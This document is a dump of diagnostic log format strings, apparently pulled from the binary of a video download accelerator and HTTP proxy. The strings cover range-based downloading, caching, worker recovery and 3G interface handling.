[HttpProxyWorker::InitializeSocket] FDM=%d (%d),Req:%d *** socket %d was Initialized ***.

[HttpProxyWorker::InitializeSocket] FDM=%d (%d),Req:%d ___Error Binding to cellular interface - set to default interface

[HttpProxyWorker::InitializeSocket] FDM=%d (%d),Req:%d - Binded to Cellular Interface.

[HttpProxyWorker::InitializeSocket] FDM=%d (%d),Req:%d *** new socket ***

HttpProxyWorker::InitializeSocket

[HttpProxyWorker::Initialize] FDM=%d (%d): ___Error initializing the worker, Err: %d.

[HttpProxyWorker::Initialize] FDM=%d (%d) was initialized.

HttpProxyWorker::Initialize

[HttpProxyWorker::DumpBufferToLogFile] FDM=%d (%d),Req:%d

[~HttpProxyWorker - %p] FDM=%d (%d).

[HttpProxyWorker - %p] FDM=%d (%d).

[JobInfo::GetPositionField] ___Error: The field %d is not a position field.

[JobInfo::SetPositionField] ___Error: The field %d is not a position field.

[JobInfo::SetPositionField] Job:%d - RANGE_CONTENT_LENGTH - %lld

[JobInfo::SetPositionField] Job:%d - TIME_CURRENT_POSITION - %lld

[JobInfo::SetPositionField] Job:%d - TIME_END_POSITION - %lld

[JobInfo::SetPositionField] Job:%d - TIME_START_POSITION - %lld

[JobInfo::SetPositionField] Job:%d - RANGE_END_POSITION - %lld

[JobInfo::SetPositionField] Job:%d - RANGE_START_POSITION - %lld

[JobInfo::GetDownloadStartPosition] Job:%d - %lld

[JobInfo::GetCurrentTimePosition] Job:%d - %lld

[JobInfo::SetDataHeaderBytes] Job:%d has Data Header: %lld bytes to discard

[JobInfo::GetBooleanField] ___Error: The field %d is not a boolean field.

[JobInfo::SetBooleanField] ___Error - The field %d is not a boolean field.

[JobInfo::SetBooleanField] Job:%d - IS_CELLULAR_FLAG - (%d --> %d)

[JobInfo::SetBooleanField] Job:%d - RANGE_WAS_DISCARDED - (%d --> %d)

[JobInfo::SetBooleanField] Job:%d - RANGE_WAS_UPDATED - (%d --> %d)

[JobInfo::SetBooleanField] Job:%d - IS_TIME_ACCELERATION_FLAG - (%d --> %d)

[JobInfo::SetBooleanField] Job:%d - IS_ACTIVE_FLAG - (%d --> %d)

[JobInfo::SetBooleanField] Job:%d - IS_MASTER_FLAG - (%d --> %d)

[JobInfo::SetBooleanField] Job:%d - RANGE_DOWNLOAD - (%d --> %d)

[JobInfo::SetBooleanField] Job:%d - RANGE_WAS_SHORTEN - (%d --> %d)

[JobInfo::GetCounter] ___Error: The field %d is not a counter field.

[JobInfo::SetCounter] ___Error: The field %d is not a counter field.

[JobInfo::Reset] Job:%d

[JobInfo::GetBytesLeftToDownloaded] Job:%d - Has no more bytes to download. (state:%d)

[JobInfo::GetBytesLeftToDownloaded] Job:%d - Left %lld bytes

[JobInfo::GetTimeLeftToDownload] Job:%d - has no more time to download. (state:%d)

[JobInfo::GetTimeLeftToDownload] Job:%d - has no more time to download.

[JobInfo::SetDownloadInactivityTimeout] Job:%d (state:%d) - InactivityMaxSeconds = %d

[JobInfo::IsAlive] ___Error Job:%d - did not download for a lot of time!

[JobInfo::CanBeRecovered] Job:%d - %d/%d

[JobInfo::GetTimeToRecovery] Job:%d - Time since last recovery: %d > %d

[JobInfo::GetTimeToRecovery] Job:%d - Time till next recovery: %d < %d

[JobInfo::GetTimeToRecovery] Job:%d - No time between recoveries

[JobInfo::SetTimeBetweenRecoveries] Job:%d - Time between recoveries: %d

[JobInfo::SetValidationBytes] Job:%d - Bytes: %d

[JobInfo::SetValidationBytes] ___Warning Job:%d - not enough bytes: %d < %d

[JobInfo::ValidateConsistency] ___Error Job:%d - Not Downloading the same job's Data after Reconnect!

[JobInfo::ValidateConsistency] Job:%d - *** Match OK ***

[JobInfo::DecrementDataHeaderBytes] Job:%d decremented Data Header: %lld bytes and has more: %lld bytes to discard

[JobInfo::DecrementBytesToDiscard] Job:%d decremented %lld bytes and has more %lld bytes to discard

[JobInfo::SetState] Job:%d, State: %d, Force: %d

[JobInfo::ResetState] Job:%d

[JobInfo::IncrementCounter] ___Error: The field %d is not a counter field.

[JobInfo::UpdateJobState] Job:%d - wrote all the data to the client. (state:%d)

[JobInfo::UpdateJobState] Job:%d - has no more bytes to download. (state:%d)

[JobInfo::SetRange] Req:%d, Job:%d, %lld-%lld (%lld-%lld).

[JobInfo::UpdateRange] Req:%d, Job:%d, %lld-%lld (%lld-%lld).

[JobInfo::UpdateTimeRange] Req:%d, Job:%d, %lld-%lld (%lld-%lld).

[JobInfo::IncrementDataHeaderBytes] Job:%d incremented Date Header: %lld bytes and has more: %lld bytes to discard

[JobInfo::SetBytesToDiscard] Job:%d has %lld bytes to discard

[JobInfo::IncrementBytesToDiscard] Job:%d incremented %lld bytes and has more %lld bytes to discard

[JobInfo::ValidateContinuousness] ___Error Job:%d with Job:%d (Bytes: %d) - Continues jobs does not match!

[JobInfo::ValidateContinuousness] Job:%d with Job:%d (Bytes: %d) - *** Match OK ***

[JobInfo::ValidateContinuousness] ___Warning Job:%d - Next job has no validation bytes

[JobInfo::ValidateContinuousness] ___Warning Job:%d - No next job to compare

[JobInfo] Job:%d

[JobInfo] Job:%d (%lld-%lld).

[~JobInfo] Job:%d (%lld-%lld).

************ End: d:d:d::d

************ Start: d:d:d::d

[JobInfo::RegisterToChangeManaer] FDM=%d, Job:%d

[JobInfo::RegisterToChangeManaer] ___Error FDM=%d, Job:%d - RegisterOnChanges

pIHttpProxyServer

[FileDownloadMgr::CanBeStopped] FDM=%d - FDM can't be stopped. NumberOfActiveWorkers: %d, NumberOfActiveWorkers3G: %d

[FileDownloadMgr::CanBeStopped] FDM=%d - FDM can be stopped.

[FileDownloadMgr::CanBeStopped] FDM=%d - FDM can't be stopped. cmState is %d.

[FileDownloadMgr::StopDownload] FDM=%d, Stopping...

[FileDownloadMgr::StopDownload] FDM=%d - Allow to complete prefetching...

[FileDownloadMgr::StopDownload] FDM=%d

[FileDownloadMgr::CreateCacheWriter] FDM=%d ___Error creating Cache Writer.

[FileDownloadMgr::StopAcceleration] **** FDM=%d - Going to stop the acceleration ****.

[FileDownloadMgr::StopAcceleration] FDM=%d

[FileDownloadMgr::ReportOnDownloadComplete] FDM=%d --- After calling to OnStopAcceleration() ---.

[FileDownloadMgr::ReportOnDownloadComplete] FDM=%d --- Before calling to OnStopAcceleration() ---.

[FileDownloadMgr::ReportOnDownloadComplete] FDM=%d

[FileDownloadMgr::ReportOnDataEvent] FDM=%d --- After calling to OnData() ---.

[FileDownloadMgr::ReportOnDataEvent] FDM=%d --- Before calling to OnData() ---.

[FileDownloadMgr::ReportOnStopEvent] FDM=%d --- After calling to OnStop() ---.

[FileDownloadMgr::ReportOnStopEvent] FDM=%d --- Before calling to OnStop() ---.

[FileDownloadMgr::ReportOnStartBadAcceleration] FDM=%d --- After calling to OnStartBadAcceleration() ---.

[FileDownloadMgr::ReportOnStartBadAcceleration] FDM=%d --- Before calling to OnStartBadAcceleration() ---.

[FileDownloadMgr::ReportOnHDAcceleration] FDM=%d --- Already reported (SEEK) ---

[FileDownloadMgr::ReportOnHDAcceleration] FDM=%d --- After calling to OnStartBadAcceleration() ---.

[FileDownloadMgr::ReportOnHDAcceleration] FDM=%d --- Before calling to OnStartBadAcceleration() ---.

[FileDownloadMgr::ReportOnTrialExpiredAcceleration] FDM=%d --- After calling to ReportOnTrialExpiredAcceleration() ---.

[FileDownloadMgr::ReportOnTrialExpiredAcceleration] FDM=%d --- Before calling to ReportOnTrialExpiredAcceleration() ---.

[FileDownloadMgr::AbortAcceleration] FDM=%d

[FileDownloadMgr::IsDownloadComplete] FDM=%d *** Download Completed *** (%lld >= %lld)

[FileDownloadMgr::SetDownloadSize] FDM=%d - Download size: %lld (%lld), bForce: %d

[FileDownloadMgr::OnInterfaceUp] FDM=%d - *** Abort Acceleration ***

[FileDownloadMgr::OnInterfaceDown] FDM=%d - ip: %d, name: %s, 3G: %d

[FileDownloadMgr::OnRequestComplete] FDM=%d (%d),Req:%d ### Stopping the FDM - Master was closed without HTTP header

[FileDownloadMgr::OnRequestComplete] FDM=%d (%d),Req:%d - ### Master Remote Connection was closed

[FileDownloadMgr::OnRequestComplete] FDM=%d (%d),Req:%d - Master Remote completed

[FileDownloadMgr::OnRequestComplete] FDM=%d - NumberOfActiveWorkers: %d, NumberOfActiveConnections: %d (3G: %d)

[FileDownloadMgr::OnRequestComplete] FDM=%d (%d) - %d Requests are pending...

[FileDownloadMgr::OnRequestComplete] FDM=%d (%d),Req:%d - *** FINISHED *** (%d/%d)

[FileDownloadMgr::OnWorkerConnectionReady] FDM=%d (%d),Req:%d (3G: %d)

[FileDownloadMgr::ResumeCaching] FDM=%d - Resuming...

[FileDownloadMgr::ResumeCaching] FDM=%d

[FileDownloadMgr::RestartWorkerToRedirectDomain] FDM=%d (%d),Req:%d ___Error - ReStartCurrentJob to: %s

pHttpProxyRemote

[FileDownloadMgr::AddDomainToRedirectList] FDM=%d ___Error SetRedirectFilter

[FileDownloadMgr::AddDomainToRedirectList] FDM=%d ___Error IRedirectController invalid

[FileDownloadMgr::AddDomainToRedirectList] FDM=%d - Domain: %s, Port: %d

[FileDownloadMgr::GetWorkerDataHeaderBytesToDiscard] FDM=%d

[FileDownloadMgr::GetWorkerDataHeaderBytesToDiscard] FDM=%d ___Error - Range size == Master size

[FileDownloadMgr::GetWorkerDataHeaderBytesToDiscard] FDM=%d ___Error - pJobInfo == NULL

[FileDownloadMgr::GetWorkerDataHeaderBytesToDiscard] FDM=%d ___Error - m_n64MasterWorkerContentLength <= 0

[FileDownloadMgr::ReportOnStartAcceleration] FDM=%d --- After calling to OnStartAcceleration() ---.

[FileDownloadMgr::ReportOnStartAcceleration] FDM=%d --- Before calling to OnStartAcceleration() ---.

[FileDownloadMgr::NotifyOnStop] FDM=%d - Going to stop the Local peer (%d)

[FileDownloadMgr::NotifyOnStop] FDM=%d

[FileDownloadMgr::IsToCloseLocal] FDM=%d - ### Close the FDM ### (Transparent Mode)

[FileDownloadMgr::IsToCloseLocal] FDM=%d - Transparent Mode - Master was not closed - wait for new requests...

[FileDownloadMgr::IsToCloseLocal] FDM=%d - ### Close the FDM ### (Proxy Mode)

[FileDownloadMgr::IsToCloseLocal] FDM=%d - Proxy Mode - Do not close the Local Worker yet - wait for new requests...

[FileDownloadMgr::FindWorkerByJob] FDM=%d ___Error worker not found for job %d.

[FileDownloadMgr::GetCacheData] FDM=%d *** Create New Cache Data *** Url: %s

[FileDownloadMgr::GetCacheData] FDM=%d *** Use existing Cache Data CD:%d ***

[FileDownloadMgr::GetCacheData] FDM=%d - Download - no caching needed

[FileDownloadMgr::GetCacheData] FDM=%d ___Error invalid IHttpCacheManager

[FileDownloadMgr::GetCacheData] FDM=%d ___Error invalid url

[FileDownloadMgr::GetCacheData] FDM=%d

[FileDownloadMgr::UpdateWorkersRanges] FDM=%d ___Warning *** Master worker passed all ranges. ***

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - The end position of worker (%d) updated to %lld.

[FileDownloadMgr::UpdateWorkersRanges] FDM=%d ___Error: The function FindWorkerByJob failed.

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - There are %lld bytes left to discard.

[FileDownloadMgr::UpdateWorkersRanges] FDM=%d (Iter: %d), Range: %lld-%lld, Overlapped and Closed due to (job: %d)

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d ___Error update worker (%d). Must discard %lld bytes.

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - All the workers must discard %lld bytes.

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - The end position of the first worker (%d) was updated to %lld.

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d First worker end position: %lld

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - Worker (%d) downloaded %lld data bytes

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - Going update the workers ranges.

[FileDownloadMgr::AddRequestToQueue] FDM=%d - Req:%d was added. Pending requests: %d

[FileDownloadMgr::GetRequestFromQueue] FDM=%d - Req:%d was removed. Pending requests: %d

[FileDownloadMgr::GetRequestFromQueue] FDM=%d - No more pending requests.

[FileDownloadMgr::GetRequestFromQueue] FDM=%d

[FileDownloadMgr::ReturnRequestToQueue] FDM=%d - Req:%d was returned. Pending requests: %d

[FileDownloadMgr::ReturnRequestToQueue] FDM=%d

[FileDownloadMgr::AddWorkerToList] FDM=%d There are %d workers

[HttpFileDownloadMgr::FindMasterWorker] FDM=%d ___Warning Master Worker not found !

[FileDownloadMgr::GetMasterWorker] FDM=%d (%d) The Master worker status is %s.

[FileDownloadMgr::Reset] FDM=%d - Jobs: %d, Workers: %d

[FileDownloadMgr::ReportNoAccelerationReason] FDM=%d ,%s

WARNING: Master passed all workers

WARNING: HD Acceleration not supported

ERROR: Dailymotion seek not supported

WARNING: Server in non support range servers list

[FileDownloadMgr::UpdateTimeWorkersRange] FDM=%d (%d),Req:%d - (Job: %d), Range: %lld-%lld

[FileDownloadMgr::UpdateTimeWorkersRange] FDM=%d (%d),Req:%d - (Iter: %d), Range : %lld-%lld, Overlapped and closed due to (job: %d)

[FileDownloadMgr::UpdateTimeWorkersRange] FDM=%d (%d),Req:%d - (Iter: %d), Range: %lld-%lld

[FileDownloadMgr::UpdateTimeWorkersRange] FDM=%d (%d),Req:%d - (Iter: %d), Range: %lld-%lld, Overlapped: %lld

[FileDownloadMgr::UpdateTimeWorkersRange] FDM=%d (%d),Req:%d - (Iter: %d), Range: %lld-%lld, Discard: %lld

[FileDownloadMgr::HandleAcceleration] FDM=%d (%d),Req:%d - *** Start Acceleration *** (>%dKB, %dms)

[FileDownloadMgr::HandleAcceleration] FDM=%d (%d),Req:%d - *** Stopping Acceleration *** (delay)

[FileDownloadMgr::HandleAcceleration] FDM=%d (%d),Req:%d - *** Start Acceleration *** (delay)

[FileDownloadMgr::OnInterfaceUp] FDM=%d - *** Start 3G Acceleration ***

[FileDownloadMgr::OnInterfaceUp] FDM=%d - ip: %d, name: %s, 3G: %d

[ACCELINFO::OnDeserialize] ___Error get URL

[FileDownloadMgr::AddRequest] FDM=%d

[FileDownloadMgr::AddDataToRequest] FDM=%d ___Warning Not adding data to Request, continue accumulating...

[FileDownloadMgr::AddDataToRequest] FDM=%d - Wrote all %d bytes to Remote worker

[FileDownloadMgr::AddDataToRequest] FDM=%d, Req:%d - Appending %d (%d) bytes to Remote, that were left from Write to Remote worker

[FileDownloadMgr::AddDataToRequest] FDM=%d, Req:%d ___Error Appending %d bytes to Request

[FileDownloadMgr::AddDataToRequest] FDM=%d, Req:%d - Appending %d (%d) bytes to Remote, since request has already data

[FileDownloadMgr::AddDataToRequest] FDM=%d, Req:%d - Appending %d (%d) bytes to Queue

[FileDownloadMgr::CreateWorker] FDM=%d (%d) was created.

[FileDownloadMgr::CreateWorker] FDM=%d (%d) ___Error Initializing the worker.

[FileDownloadMgr::RemoveWorkerFromList] FDM=%d There are %d workers

[FileDownloadMgr::DeleteAllRemoteProxies] FDM=%d - All workers where deleted.

[FileDownloadMgr::DeleteAllRemoteProxies] FDM=%d: There are %d workers.

[FileDownloadMgr::DeleteAllRemoteProxies] FDM=%d: There are no workers.

[FileDownloadMgr::DeleteAllRemoteProxiesButMaster] FDM=%d: There are %d workers.

[FileDownloadMgr::DeleteAllRemoteProxiesButMaster] FDM=%d: There are no workers.

[FileDownloadMgr::SetThreadCommand] FDM=%d - Setting the command %s (%d commands are waiting)

[FileDownloadMgr::UpdateConsistencyFailureReason] FDM=%d

[FileDownloadMgr::GetThreadCommand] FDM=%d - Getting the command %s (%d commands are waiting)

************ URL: %.800s ************

************ End: d:d:d::d ************

************ Start: d:d:d::d ************

[FileDownloadMgr::ReportOnStopAcceleration] FDM=%d --- After calling to OnStopAcceleration() ---.

[FileDownloadMgr::ReportOnStopAcceleration] FDM=%d --- Before calling to OnStopAcceleration() ---.

[FileDownloadMgr::ReportOnStopAcceleration] FDM=%d

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - All connections where closed.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - Closing all connections.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - All jobs in the cache manager where removed.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - Remove all jobs in the cache manager.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - The cache manager was stopped.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - Stopping the cache manager.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - All the workers where deleted.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - Deleting all the workers.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - Exit Command was set.

[FileDownloadMgr::ContinueWithoutAcceleration] FDM=%d - There are %d workers left (NumberOfActiveWorkers: %d, NumberOfActiveWorkers3G: %d)

[FileDownloadMgr::ContinueWithoutAcceleration] FDM=%d - There are %d workers (NumberOfActiveWorkers: %d, NumberOfActiveWorkers3G: %d)

[FileDownloadMgr::ContinueWithoutAcceleration] FDM=%d (Forward)

[FileDownloadMgr::ContinueWithoutAcceleration] FDM=%d, Job:%d (Reverse)

[FileDownloadMgr::ContinueWithoutAcceleration] FDM=%d

[FileDownloadMgr::OnWorkerConnectionClosed] FDM=%d (%d),Req:%d (3G: %d)

[FileDownloadMgr::OnWorkerConnectionEstablished] FDM=%d (%d),Req:%d (3G: %d)

[FileDownloadMgr::Stop] FDM=%d - All connections where closed.

[FileDownloadMgr::Stop] FDM=%d - Closing all connections.

[FileDownloadMgr::Stop] FDM=%d - All jobs in the cache manager where removed.

[FileDownloadMgr::Stop] FDM=%d - Remove all jobs in the cache manager.

[FileDownloadMgr::Stop] FDM=%d - The cache manager was reset.

[FileDownloadMgr::Stop] FDM=%d - Reset the cache manager.

[FileDownloadMgr::Stop] FDM=%d - All the workers where deleted.

[FileDownloadMgr::Stop] FDM=%d - Deleting all the workers.

[FileDownloadMgr::Stop] FDM=%d - The working thread was stopped.

[FileDownloadMgr::Stop] FDM=%d Wait for the working thread to exit...

[FileDownloadMgr::Stop] FDM=%d - Stopping the working thread.

[FileDownloadMgr::Stop] FDM=%d - FDM_State: %d

[FileDownloadMgr::OnError] FDM=%d ___Error NumberOfActiveWorkers: %d, NumberOfActiveWorkers3G: %d

[FileDownloadMgr::OnError] FDM=%d (%d),Req:%d ___Error NumberOfActiveWorkers: %d, NumberOfActiveWorkers3G: %d

[FileDownloadMgr::CreateJobInfo] FDM=%d ___Error creating a new Range job.

[FileDownloadMgr::CreateJobInfo] FDM=%d ___Error creating Acceleration Data.

[FileDownloadMgr::CreateJobInfo] FDM=%d ___Error setting the request in the job.

[FileDownloadMgr::CreateJobInfo] FDM=%d ___Error creating a new Time job.

[FileDownloadMgr::UpdateRequest] FDM=%d ___Error: The function SetBuffer failed.

[FileDownloadMgr::UpdateRequest] FDM=%d ___Error: The function BuildHeader failed.

[FileDownloadMgr::UpdateRequest] FDM=%d ___Error: The function SetFieldData failed.

[FileDownloadMgr::UpdateRequest] FDM=%d ___Error: The function ParseHeader failed.

[FileDownloadMgr::InitiateRangeDownload] FDM=%d (%d) %lld-%lld (size: %lld)

[FileDownloadMgr::InitiateRangeDownload] FDM=%d (%d), Job:%d - Range was shorten

[FileDownloadMgr::InitiateRangeDownload] FDM=%d (%d), Job:%d - Download via Cellular Interface

[FileDownloadMgr::InitiateRangeDownload] FDM=%d (%d) - Start Job with Original request

[FileDownloadMgr::InitiateRangeDownload] FDM=%d, ___Error - Create Worker.

[FileDownloadMgr::InitiateRangeDownload] FDM=%d, Range: %lld-%lld, 3G: %d

[FileDownloadMgr::RecoverFailedDownload] FDM=%d ___Error - Starting the job.

[FileDownloadMgr::RecoverFailedDownload] FDM=%d (%d) - Starting Req:%d.

[FileDownloadMgr::RecoverFailedDownload] FDM=%d ___Error - creating a Worker.

[FileDownloadMgr::RecoverFailedDownload] FDM=%d ___Error - Getting pICacheWorker.

[FileDownloadMgr::RecoverFailedDownload] FDM=%d, Job:%d *** Going to recover failed download - Range: %lld-%lld ***.

[FileDownloadMgr::RecoverFailedDownload] FDM=%d, ___Error: Job:%d - reached the maximum recoveries.

[FileDownloadMgr::RecoverFailedDownload] FDM=%d (%d) - Stopping worker !!!

[FileDownloadMgr::RecoverFailedDownload] FDM=%d --- No failed downloads to recover ---

[FileDownloadMgr::RecoverFailedDownload] FDM=%d

[FileDownloadMgr::HelpSlowWorker] FDM=%d ___Error - Acceleration support is not definitive yet

[FileDownloadMgr::HelpSlowWorker] FDM=%d, Job:%d - *** was assisted ***

[FileDownloadMgr::HelpSlowWorker] FDM=%d ___Error - InitiateRangeDownload

[FileDownloadMgr::HelpSlowWorker] FDM=%d ___Error - Shorting the slow job range

[FileDownloadMgr::HelpSlowWorker] FDM=%d, Job:%d - BytesUntilBuffering: %lld

[FileDownloadMgr::HelpSlowWorker] FDM=%d ___Error - JobInfo invalid

[FileDownloadMgr::UpdatePlayRate] FDM=%d - Play Rate: %d, Duration: %d, Header Size: %lld

?[FileDownloadMgr::RedirectRequet] FDM=%d (%d),Req:%d - Worker was Redirected !

[FileDownloadMgr::RedirectRequet] FDM=%d (%d),Req:%d ___Error RestartWorkerToRedirectDomain

[FileDownloadMgr::RedirectRequet] FDM=%d (%d),Req:%d ___Error AddDomainToRedirectList

[FileDownloadMgr::RedirectRequet] FDM=%d (%d),Req:%d ___Error UpdateRequest

[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d - The Data should be sent.

[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d ___Error The Data should NOT be sent.

[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d ___Error Download was complete - closing the worker.

[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d ___Error *** HD Acceleration NOT Supported ***

[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d *** Not accelerating *** Not in Partner process and no UI found at: %s

JsDriver.exe

[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d - Accelerating due to Partner.

[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d ___Error FDM_State: %d.

[FileDownloadMgr::InitiateFirstDownloaders] **** FDM=%d, Initial Ranges: %lld-%lld

[FileDownloadMgr::DownloadNextRange] FDM=%d ___Warning Not allowed - FDM_State: %d, EOF: %d, Connections: %d/%d, Redirection problem: %d, Acceleration problem: %d, DownloadComplete: %d

[FileDownloadMgr::DownloadNextRange] FDM=%d ___Error - getting next range

[FileDownloadMgr::DownloadNextRange] FDM=%d, calling to stop UI notification

[FileDownloadMgr::DownloadNextRange] FDM=%d, 3G: %d

[FileDownloadMgr::UpdateMasterRanges] FDM=%d (%d),Req:%d - Master Remote Ranges: %lld-%lld (%lld bytes)

[FileDownloadMgr::UpdateMasterRanges] FDM=%d (%d),Req:%d - Time Acceleration, Begin: %lld

[FileDownloadMgr::UpdateMasterRanges] FDM=%d (%d),Req:%d Master Remote Ranges

[FileDownloadMgr::UpdateMasterRanges] FDM=%d (%d),Req:%d Master Remote Ranges - were already updated

[FileDownloadMgr::UpdateResponse] FDM=%d (%d),Req:%d ___Error Range not in Header or URI !

[FileDownloadMgr::UpdateResponse] FDM=%d (%d),Req:%d ___Warning Tried to modify a none Master response header

[FileDownloadMgr::UpdateResponse] FDM=%d (%d),Req:%d - Master was shorten

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - The header should not be sent.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - Stopping the worker.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d *** AccelerateIsSupported = TRUE ***

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error: Stopping this worker only - Range is bigger then master

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error: Stopping this worker only - Acceleration is not supported according to response.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error Worker Redirection failed - continue without redirection.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - Worker Request should be redirected

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error Stopping the worker - Acceleration was stopped.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Warning Seek Acceleration not supported according to its rule

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d *** ShouldAccelerate = TRUE ***

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - The header should be sent.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - The header should be sent (redirect)

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error adding the domain %s to the redirect list.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error updating the master response header.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error Master Redirection failed - continue without redirection.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - Master Request should be redirected

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - Got Redirect Response

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error Worker has no job.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - Header was received

[~FileDownloadMgr] FDM=%d - Leave

[~FileDownloadMgr] FDM=%d - Enter

[FileDownloadMgr] FDM=%d

[FileDownloadMgr] FDM=%d, LimitInitialConnections: %d

[FileDownloadMgr] FDM=%d, StartCachingSize: %d

[FileDownloadMgr] FDM=%d ___Error invalid HTTP Configuration

[FileDownloadMgr] FDM=%d ___Error invalid Config

[FileDownloadMgr::DownloadCacheData] FDM=%d - Request added.

[FileDownloadMgr::DownloadCacheData] FDM=%d ___Error adding request FDM=%d, Req:%d (IP:%s, port:%d).

[FileDownloadMgr::DownloadCacheData] FDM=%d ___Error initializing FDM=%d.

[FileDownloadMgr::DownloadCacheData] FDM=%d ___Error new FileDownloadMgr

[FileDownloadMgr::DownloadCacheData] FDM=%d

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d ___Error starting download sequence.

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Download sequence started!

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d (%d),Req:%d - Starting Request...

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d ___Error Creating Remote Master Worker

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d ___Warning *** Create a new FDM for caching ***

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d ___Warning *** Use owner FDM: %d ***

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d ___Warning *** Use existing Cached Data ***

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Total download time: %d sec, size: %lld

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Reset download time & size

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Extension changed the Request

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Virtual request - no need for Remote...

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Old IP = %s --> New IP = %s

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Current Request has a different domain - Need to Reset FDM.

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Download request not accelerated !!!

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Request queue is empty!

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Starting the download sequence

[FileDownloadMgr::DownloadRequest] FDM=%d - Going To Download the Request

[FileDownloadMgr::DownloadRequest] FDM=%d ___Warning FDM_State: %d - Cannot initiate a new download, try again later...

[FileDownloadMgr::DownloadRequest] FDM=%d - FDM_State: %d

[FileDownloadMgr::OnDownloadCompleted] FDM=%d --- No new requests where started ---

[FileDownloadMgr::OnDownloadCompleted] FDM=%d --- The cache manager finished writing ---

[FileDownloadMgr::OnDownloadCompleted] FDM=%d --- No more active workers ---

[FileDownloadMgr::Work] FDM=%d - Exit thread now...

[FileDownloadMgr::Work] FDM=%d - ### Closing FDM - No more active Workers, Connections & Requests ###

[FileDownloadMgr::Work] FDM=%d - Thread was stopped (FDM_State: %d)

[FileDownloadMgr::Work] FDM=%d ___Error Thread should be stopped (FDM_State: %d)

[FileDownloadMgr::Work] FDM=%d - NumberOfActiveWorkers3G: %d, NumberOfActiveConnections3G: %d

[FileDownloadMgr::Work] FDM=%d - NumberOfActiveWorkers: %d, NumberOfActiveConnections: %d

[FileDownloadMgr::Work] FDM=%d - Thread should be stopped (command) - FDM_State: %d

[FileDownloadMgr::Work] FDM=%d - Cache manager not finished (FDM_State: %d)

[FileDownloadMgr::Work] FDM=%d - Thread should be stopped (timeout) - FDM_State: %d

[FileDownloadMgr::Work] FDM=%d - Done Caching - Thread should be stopped (timeout) - FDM_State: %d

[FileDownloadMgr::Work] FDM=%d - Thread was created (FDM_State: %d)

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d --- No new requests where started ---

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d --- The cache manager finished writing (STATE_FINISHED ==> FDM_COMPLETE_DOWNLOADING) ---

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d ___Error --- The cache manager failed writing the buffer. Going to stop the FDM (STATE_STOPPED) ---

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d ___Error CRITICAL_ERROR_STOP_FDM - Going to stop the FDM...

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d ___Error ERROR_TO_RECOVER_JOB - Continue Without Acceleration...

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d - JOB_WAS_RECOVERED

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d - NO_JOBS_TO_RECOVER

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d *** Stop Download - Not watching video ***

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d - NumberOfActiveWorkers3G: %d, NumberOfActiveConnections3G: %d

